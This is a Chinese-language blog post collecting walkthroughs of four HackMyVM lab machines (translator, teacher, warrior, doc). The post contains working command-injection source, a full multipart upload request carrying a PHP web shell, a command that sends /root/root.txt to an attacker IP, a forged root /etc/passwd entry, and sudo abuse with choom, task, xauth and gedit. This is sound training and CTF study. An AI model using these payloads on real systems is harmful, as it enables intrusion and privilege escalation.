hackmyvm 复盘合集1
FLow

translator

来到80端口看到有个translator的界面,随便输了abc,返回zyx,试了几次确认加密逻辑就是一对一替换,a-z,b-y这样,但是数字和大写字母是不会变的,扫了目录也没看到有什么东西

然后看了wp才知道,这个输入框可以命令注入,要先有个分号隔断,并且要输入的命令要先transalte一下(有点解谜),比如要使用id命令,就要输入“;rw”

像这样

那就先nc拿到一个shell,主要要先把命令translate一下

就拿到第一个shell,我感觉有点脑洞,可能是见识的不够多吧,代码逻辑如下

1
2
3
4
5
6
7
8
<?php
$test = $_GET['hmv'];
$test = escapeshellcmd($test);// 应该是用来防止命令注入的,输入分号后前面跟了一个\,但是经过下面第一个system斜杆又没了
echo ("Translated to:");
echo "<br>";
$ultima_linea = system('echo '.$test.'| tr abcdefghijklmnopqrstuvwxyz zyxwvutsrqponmlkjihgfedcba');
$ulti = system('echo '.$ultima_linea.'| tr "php" "wtf"'); // 用分号实现命令注入
?>

然后在html目录下有个hvxing文件,打开查看是段字符串,第一反应是拿去网页translate一下

然后就拿到一个密码,到/home目录下看到有两个用户,尝试了一下ocean登陆成功

然后sudo -l看到有choom可以利用,india可以不用密码,gtfobins查询到了提权命令

1
sudo -u india /usr/bin/choom -n 0 /bin/sh

第二个flag

就切换到了india账户,再sudo -l查找,有一个trans可以利用,file看了一下是个是个shell的脚本

cat看了一下内容很多,切换个思路-h看看帮助文档

注意到有input file也可以开个http代理,那就尝试结合这两个功能把/root/root.txt读出来

kali先开个nc

1
2
sudo trans -i /root/root.txt -x 192.168.64.3:8888
nc -lvp 8888 > trans

得到一个包,尝试了一下url解码q后面的内容,就拿到flag

提权思路

1
mkpasswd -m sha-512

先生成一个哈希字符串,然后拼接一下

1
but:$6$qzFU83LRKpBUmZCQ$qCQiwtXEjJmtTAOO2HRJsneHiliw9k2V2/3EtU64v9tP2eaud5fdtp5pQurFVtEsovQjfbo2j3KY.JmF0QqEL/:0:0:root:/root:/bin/bash

先复制一份原来的/etc/passwd,在/tmp目录下伪造一个一样的最下面在加入我们伪造的字符串,思路就给靶机多加一个用户,有root权限

1
sudo -u root trans -i www -o /etc/passwd -no-auto

写入之后登陆我们伪造的用户,成功提权到root

小抽象

就是利用读写功能获取我们想要的东西,也可以对关键文件进行篡改

teacher

web端扫描目录扫到,access.php,log.php,clearlog.php,看一下log.php,内容说有一个rabbit.jpg,访问之后一张·图片·,最开始用stegseek出了得到一个secret.txt里面写着”rabbithole”,不明所以,尝试登陆ssh也没有用

去到access.jpg,源代码src后面是空的,就联想到有没有可以写入的参数,fuzz了一下

1
wfuzz -u 'http://192.168.64.77/access.php?FUZZ=rabbit.jpg' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt --hh=12

果然得到了一个参数‘id’,然后看到了图片

再看看这时的源码,然后就联想到命令注入,先闭合单引号,在写入命令试试

经过一番探索(结合wp),发现可以直接注入php语句,还要配合前面的log.php,因为access.php不会执行,log.php记录了这些并且会执行,例如:

发现了利用点,那就拿到第一个shell了,在html目录下发现有个pdf,下载查看

虽然密码被糊住了,但是可以在前面找到自己,反向写出来就行

1
Pass = ThankYouTeachers

然后就登陆了mrteacher账户,成功拿到userflag

提权

Sudo -l 看到有gedit和xauth可以利用

1
(ALL : ALL) NOPASSWD: /bin/gedit, /bin/xauth

查了一下,xauth命令 用于显示和编辑被用于连接X服务器的认证信息。gedit是个文本编辑器

思路就是利用gedit查看或修改root.txt(或其他任意文件),在这之前要先利用xauth增加一个认证,并且ssh登陆账号要加-x让SSH 客户端会在连接过程中启用 X11 转发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~]
└─$ ssh -X mrteacher@192.168.64.77
mrteacher@192.168.64.77's password:
Linux Teacher 5.10.0-17-amd64 #1 SMP Debian 5.10.136-1 (2022-08-13) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Mar 16 13:25:36 2024 from 192.168.64.3
mrteacher@Teacher:~$ sudo xauth list 列出当前用户的 X 认证信息
Teacher/unix:10 MIT-MAGIC-COOKIE-1 5cfe7a29e891b822c5892ea140dc6706
mrteacher@Teacher:~$ sudo xauth add Teacher/unix:10 MIT-MAGIC-COOKIE-1 5cfe7a29e891b822c5892ea140dc6706
向授权文件中添加一个 MIT-MAGIC-COOKIE-1 权限

增加权限后就使用gedit了,这个时候可以直接读取rootflag,也可以修改/etc/passwd增加一个用户提权(像上一个靶机一样),两种思路都可以

1
sudo gedit /root/root

总结

web端命令注入结合日志文件,提权方面两个可利用点的结合,伪造用户或读取文件。

warrior

web端扫到robots.txt

User.txt里面有个名字‘loco’我还想过爆破ssh,没有结果,secret.txt一个字符串看起来不是密码

internal.php说要把MAC地址改成00:00:00:00:00:a? 最后一个问号还要一个一个试,网上找教程修改kali都mac地址

1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[/home/kali]
└─# ifconfig eth0 down

┌──(root㉿kali)-[/home/kali]
└─# ifconfig eth0 hw ether 00:00:00:00:00:af //最后试出来是af

┌──(root㉿kali)-[/home/kali]
└─# ifconfig eth0 up

然后再访问,就得到了密码,我尝试了loco作为用户名居然无效,最后看了wp才知道还有一个用户名可以是bro(扶额苦笑),然后顺利登陆,想输入sudo回显没有这个命令,路径没设置好,要调用应该在/usr/sbin/sudo,查到有个task可以利用,找了提权语句

1
/usr/sbin/sudo /usr/bin/task execute /bin/sh

顺利拿到root

总结

这个靶机的点主要在切换mac地址,还要尝试出来最后一位是f,bro这个也难想,以后要多考虑可以用cewl生成字典,提权比较简单。

doc

靶机信息

难度:easy

地址:https://hackmyvm.eu/machines/machine.php?vm=Doc

ip地址:192.168.64.104

信息搜集

开了80端口和3306端口,先看看80端口,一打开就看到login选项,点击后发现要配置hosts文件,配置为doc.hmv,然后面对登陆框,

可以看到用了一个OTOMS的框架,有找到相关版本的漏洞,但要先登陆,随便输入点再抓个包,sqlmap测一下,是可以注入的

爆出两个数据库,再仔细看看里面的内容

找到账号密码,登陆到后台,找到漏洞库(https://www.exploit-db.com/exploits/50389)说的漏洞点,也就是个人头像修改文件上传,先抓个包

然后按照poc发送包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
POST /classes/Users.php?f=save HTTP/1.1
Host: doc.hmv
Content-Length: 1018
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAIGECIQvK5ARxHBh
Origin: http://doc.hmv
Referer: http://doc.hmv/admin/?page=user
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=smop95l7ie9o8dn57cv56s1so8
Connection: close

------WebKitFormBoundaryAIGECIQvK5ARxHBh
Content-Disposition: form-data; name="id"

9
------WebKitFormBoundaryAIGECIQvK5ARxHBh
Content-Disposition: form-data; name="firstname"

John
------WebKitFormBoundaryAIGECIQvK5ARxHBh
Content-Disposition: form-data; name="lastname"

Smith
------WebKitFormBoundaryAIGECIQvK5ARxHBh
Content-Disposition: form-data; name="username"

jsmith
------WebKitFormBoundaryAIGECIQvK5ARxHBh
Content-Disposition: form-data; name="password"


------WebKitFormBoundaryAIGECIQvK5ARxHBh
Content-Disposition: form-data; name="type"

1
------WebKitFormBoundaryAIGECIQvK5ARxHBh
Content-Disposition: form-data; name="img"; filename="cmd.php"
Content-Type: application/octet-stream

<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="x">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<?php
if($_REQUEST['x']) {
system($_REQUEST['x']);
} else phpinfo();
?>
</pre>
</BODY></HTML>


------WebKitFormBoundaryAIGECIQvK5ARxHBh--

发送成功后,头像从原来有张图片到现在加载不出来,在图片那里右键打开图片链接

文件上传利用成功,接下来就输入nc反弹一个shell即可

提权

在/var/www/html的目录下找到数据库账号密码,也有看到bella用户,然后就尝试用这个登陆bella,成功

然后sudo -l查到doc可以利用,先执行看看

它打开了本地7890端口,再拿一个shell然后用socat转发端口看看

看起来是个文件管理系统,看了题解才知道这是pydoc,他是有漏洞的,一个思路是“/getfile?key=”后面跟上文件名就能读取到想要的文件,就可以/getfile?key=/root/root.txt

还有一个思路是在tmp目录下创建一个py文件,然后在见面搜索访问,也能执行我们想要的语句。

提权成功

总结

这个靶机相对简单,也有一定的曲折,最后的pydoc没接触过,值得学习。

doc的源代码

1
2
3
4
5
#include <stdio.h>
#include <stdlib.h>
void main(){
system("/usr/bin/pydoc3.9 -p 7890");
}
由 Hexo 驱动 & 主题 Keep